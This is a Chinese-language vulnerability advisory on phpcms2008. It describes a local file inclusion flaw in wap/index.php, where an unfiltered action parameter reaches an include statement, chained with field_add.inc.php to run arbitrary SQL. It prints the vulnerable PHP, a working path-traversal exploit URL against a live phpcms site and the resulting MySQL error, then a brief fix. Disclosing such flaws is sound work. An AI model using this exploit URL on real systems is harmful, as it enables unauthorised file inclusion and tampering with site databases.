简要描述
phpcms2008本地文件包括及利用(执行任意SQL脚本)
漏洞文件(wap/index.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php include '../include/common.inc.php'; include './include/global.func.php'; $lang = include './include/lang.inc.php'; if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT'])) { header('location:../'); } wmlHeader($PHPCMS['sitename']); $action = isset($action) && !empty($action) ? $action : 'index'; if($action) { include './include/'.$action.'.inc.php'; } $html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html; echo str_replace('<br/>', "<br/>\n", $html); wmlFooter(); ?>
|
第10行代码处,action 变量没有判断及过滤,造成本地文件包含漏洞。
漏洞利用之一(include\fields\areaid下任意文件)
如:field_add.inc.php
1 2 3 4 5 6
| <?php if(!$maxlength) $maxlength = 255; $maxlength = min($maxlength, 255); $sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'"; $db->query($sql); ?>
|
这里的$tablename,$field等变量可以直接传入并且没有任何的过滤,可以通过构造SQL语句执行任意SQL脚本,需要用Opera等浏览器访问。
漏洞证明
用Opera浏览器访问,客户端弹出报错信息
1
| http://www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx
|
1 2 3 4 5 6 7 8 9
| <div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"> <span> <b>MySQL Query : </b> ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT '' <br /> <b> MySQL Error : </b> Table 'phpcms.xx' doesn't exist <br /> <b>MySQL Errno : </b>1146 <br /> <b> Message : </b> MySQL Query Error </span></div>
|
修复方案:
对用户传入的action值进行判断以及过滤
原文链接:phpcms2008本地文件包括及利用(执行任意SQL脚本)